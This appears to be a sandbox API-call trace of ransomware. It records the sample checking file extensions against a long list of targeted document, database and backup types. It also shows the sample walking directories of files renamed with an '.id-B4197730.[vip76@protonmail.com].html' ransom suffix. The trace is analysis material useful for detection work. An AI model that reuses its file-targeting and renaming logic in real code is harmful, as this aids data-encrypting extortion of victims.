	[0165.428] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".adb") returned 4
	[0165.428] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".adp") returned 4
	[0165.428] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai") returned 3
	[0165.429] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.429] lstrlenW (lpString=".ai3") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai4") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai5") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai6") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai7") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ai8") returned 4
	[0165.429] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".anim") returned 5
	[0165.429] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.429] lstrlenW (lpString=".arw") returned 4
	[0165.429] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".as") returned 3
	[0165.429] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.429] lstrlenW (lpString=".asa") returned 4
	[0165.429] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".asc") returned 4
	[0165.429] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".ascx") returned 5
	[0165.429] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.429] lstrlenW (lpString=".asm") returned 4
	[0165.429] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.429] lstrlenW (lpString=".asmx") returned 5
	[0165.429] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.429] lstrlenW (lpString=".asp") returned 4
	[0165.429] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".aspx") returned 5
	[0165.430] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.430] lstrlenW (lpString=".asr") returned 4
	[0165.430] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".asx") returned 4
	[0165.430] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".avi") returned 4
	[0165.430] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".avs") returned 4
	[0165.430] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".backup") returned 7
	[0165.430] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.430] lstrlenW (lpString=".bak") returned 4
	[0165.430] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".bay") returned 4
	[0165.430] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".bd") returned 3
	[0165.430] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.430] lstrlenW (lpString=".bin") returned 4
	[0165.430] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".bmp") returned 4
	[0165.430] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".bz2") returned 4
	[0165.430] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".c") returned 2
	[0165.430] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.430] lstrlenW (lpString=".cdr") returned 4
	[0165.430] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".cer") returned 4
	[0165.430] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.430] lstrlenW (lpString=".cf") returned 3
	[0165.430] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.431] lstrlenW (lpString=".cfc") returned 4
	[0165.431] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".cfm") returned 4
	[0165.431] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".cfml") returned 5
	[0165.431] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.431] lstrlenW (lpString=".cfu") returned 4
	[0165.431] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".chm") returned 4
	[0165.431] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".cin") returned 4
	[0165.431] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".class") returned 6
	[0165.431] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.431] lstrlenW (lpString=".clx") returned 4
	[0165.431] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".config") returned 7
	[0165.431] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.431] lstrlenW (lpString=".cpp") returned 4
	[0165.431] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".cr2") returned 4
	[0165.431] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".crt") returned 4
	[0165.431] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".crw") returned 4
	[0165.431] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".cs") returned 3
	[0165.431] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.431] lstrlenW (lpString=".css") returned 4
	[0165.431] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.431] lstrlenW (lpString=".csv") returned 4
	[0165.431] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".cub") returned 4
	[0165.432] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dae") returned 4
	[0165.432] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dat") returned 4
	[0165.432] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".db") returned 3
	[0165.432] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.432] lstrlenW (lpString=".dbf") returned 4
	[0165.432] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dbx") returned 4
	[0165.432] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dc3") returned 4
	[0165.432] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dcm") returned 4
	[0165.432] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dcr") returned 4
	[0165.432] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".der") returned 4
	[0165.432] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dib") returned 4
	[0165.432] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dic") returned 4
	[0165.432] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".dif") returned 4
	[0165.432] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".divx") returned 5
	[0165.432] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.432] lstrlenW (lpString=".djvu") returned 5
	[0165.432] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.432] lstrlenW (lpString=".dng") returned 4
	[0165.432] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.432] lstrlenW (lpString=".doc") returned 4
	[0165.433] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".docm") returned 5
	[0165.433] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.433] lstrlenW (lpString=".docx") returned 5
	[0165.433] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.433] lstrlenW (lpString=".dot") returned 4
	[0165.433] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dotm") returned 5
	[0165.433] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.433] lstrlenW (lpString=".dotx") returned 5
	[0165.433] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.433] lstrlenW (lpString=".dpx") returned 4
	[0165.433] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dqy") returned 4
	[0165.433] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dsn") returned 4
	[0165.433] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dt") returned 3
	[0165.433] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.433] lstrlenW (lpString=".dtd") returned 4
	[0165.433] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dwg") returned 4
	[0165.433] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dwt") returned 4
	[0165.433] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".dx") returned 3
	[0165.433] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.433] lstrlenW (lpString=".dxf") returned 4
	[0165.433] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".edml") returned 5
	[0165.433] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.433] lstrlenW (lpString=".efd") returned 4
	[0165.433] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.433] lstrlenW (lpString=".elf") returned 4
	[0165.434] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".emf") returned 4
	[0165.434] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".emz") returned 4
	[0165.434] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".epf") returned 4
	[0165.434] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".eps") returned 4
	[0165.434] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".epsf") returned 5
	[0165.434] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.434] lstrlenW (lpString=".epsp") returned 5
	[0165.434] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.434] lstrlenW (lpString=".erf") returned 4
	[0165.434] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".exr") returned 4
	[0165.434] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".f4v") returned 4
	[0165.434] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".fido") returned 5
	[0165.434] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.434] lstrlenW (lpString=".flm") returned 4
	[0165.434] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".flv") returned 4
	[0165.434] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".frm") returned 4
	[0165.434] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.434] lstrlenW (lpString=".fxg") returned 4
	[0165.434] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".geo") returned 4
	[0165.435] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".gif") returned 4
	[0165.435] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".grs") returned 4
	[0165.435] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".gz") returned 3
	[0165.435] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.435] lstrlenW (lpString=".h") returned 2
	[0165.435] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.435] lstrlenW (lpString=".hdr") returned 4
	[0165.435] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".hpp") returned 4
	[0165.435] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".hta") returned 4
	[0165.435] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".htc") returned 4
	[0165.435] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".htm") returned 4
	[0165.435] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.435] lstrlenW (lpString=".html") returned 5
	[0165.435] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.435] lstrlenW (lpString="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html") returned 58
	[0165.435] lstrlenW (lpString=".html") returned 5
	[0165.435] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.435] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e8a705, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.435] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.436] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0165.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0165.436] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1030") returned 1
	[0165.436] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.436] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8102e3a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8102e3a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.437] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.437] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0165.437] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.438] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0165.631] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.631] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80cc0c74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.631] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.631] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81054424, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.631] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81054424, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.631] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.632] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.632] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0165.632] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.633] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.634] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.634] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80d33efc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.634] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80d593af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d593af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.634] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81054424, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81054424, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8107a64c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
